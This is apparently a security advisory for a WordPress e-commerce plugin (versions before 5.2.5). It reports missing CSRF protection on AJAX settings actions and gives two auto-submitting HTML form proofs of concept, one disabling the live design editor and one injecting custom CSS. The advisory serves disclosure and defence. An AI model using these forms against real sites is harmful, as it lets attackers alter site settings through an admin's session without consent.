Shopping Cart & eCommerce Store < 5.2.5 – Arbitrary Design Settings Update via CSRF

Description

The plugin is lacking CSRF checks in various AJAX actions, such as ec_admin_ajax_save_design_settings, which could allow attackers to make a logged in admin update arbitrary settings

Proof of Concept

To disable the Live Design Editor

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="ec_admin_ajax_save_design_settings" />
      <input type="hidden" name="update_var" value="ec_option_hide_live_editor" />
      <input type="hidden" name="val" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

To set the custom CSS setting to body { background-color: red; }

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="ec_admin_ajax_save_design_settings" />
      <input type="hidden" name="update_var" value="ec_option_custom_css" />
      <input type="hidden" name="val" value="body { background-color: red; }" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>